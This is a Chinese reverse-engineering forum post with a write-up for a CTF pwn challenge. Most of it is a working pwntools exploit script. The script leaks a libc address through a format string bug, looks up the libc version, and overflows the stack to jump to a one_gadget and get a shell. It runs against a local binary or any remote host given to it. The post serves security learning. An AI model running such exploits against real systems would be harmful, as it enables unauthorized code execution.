学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

229

积分

0

好友

6

主题
发表于 2020-11-13 15:17:41 | 查看: 2851| 回复: 1

相关题目:

♦ pwn4

思路:1.通过字符串格式化漏洞,泄漏__libc_start_main地址
2.根据__libc_start_main地址获取libc版本
3.获取one gadget地址
4.栈溢出修改返回地址为one gadget地址


exp:
#-*- coding:utf-8 -*-
"""
// xuenixiang_2019_pwn_pwn4: https://www.xuenixiang.com/ctfexercise-competition-293.html

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[0x20]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  memset(s, 0, sizeof(s));
  puts(&::s);               // 人类的本质是什么?
  read(0, s, 8uLL);
  printf(s);
  puts(s);
  puts(s);
  puts(s);
  puts(&byte_400978);       // 一位群友打烂了复读机!
  sleep(1u);
  puts(asc_400998);         // 人类还有什么本质?
  read(0, s, 0x40uLL); 
  if ( !strstr(s, &needle) || !strstr(s, &byte_4009BA) )
  {
    puts(&byte_4009C8);     // 你并没有理解人类的本质,再见!
    exit(0);
  }
  puts(&byte_4009F8);       
  return 0;
}

"""

from pwn import *
from LibcSearcher import *

import sys

context(log_level="debug")

if len(sys.argv) == 2:
        p = process(sys.argv[1])
elif len(sys.argv) == 3:
        p = remote(sys.argv[1], sys.argv[2])
else:
    print("Usage: exp.py [./a.out | 1.1.1.1 23456]")
    exit(1)

payload1 = "%11$p"
p.sendlineafter("人类的本质是什么?\n", payload1)

p.recvline()

libc_start_main_addr = int(p.recv(14), 16) - 231

print(hex(libc_start_main_addr))

libc = LibcSearcher("__libc_start_main", libc_start_main_addr)
# libc.add_condition('system', 0x03bc00)
libc_base = libc_start_main_addr - libc.dump("__libc_start_main")

print(libc_base)

p.recvuntil("人类还有什么本质?\n")

# libc6_2.27-3ubuntu1_amd64
# 0x4f2c5, 0x4f322, 0x10a38c
one_gadget = 0x4f322
one_addr = libc_base + one_gadget

prefix = "鸽子真香"
payload2 = prefix.ljust(0x28, 'A') + p64(one_addr)

p.send(payload2)
p.interactive()


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
发表于 2020-11-13 17:44:39
不错

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-4-20 11:47 , Processed in 0.106725 second(s), 41 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表